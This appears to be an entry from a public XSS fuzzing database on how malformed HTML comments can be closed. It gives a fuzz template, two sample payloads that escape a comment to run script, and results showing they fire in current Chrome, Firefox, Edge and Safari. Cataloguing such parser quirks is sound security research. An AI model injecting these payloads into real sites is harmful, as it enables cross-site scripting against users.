Malformed HTML comments
This vector shows which characters close a malformed HTML comment
Created byhackvertor
Created Jan 17, 2025
Updated May 28, 2025
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CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
--><!--$[chr]><script>log($[i])</script>Sample payloads
--><!---><script>alert(45)</script>--><!-->><script>alert(62)</script>Fuzz results
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 2 results
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Chrome 132.0.0.0 desktop macOS 10.15.7older version
Updated17 Jan 2025
Found 2 results
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Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 2 results
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Firefox 134.0 desktop macOS 10.15older version
Updated17 Jan 2025
Found 2 results
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Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 2 results
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Safari 18.4 mobile iOS 18.4.1
Updated9 May 2025
Found 2 results
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Safari 18.2 desktop macOS 10.15.7older version
Updated17 Jan 2025
Found 2 results
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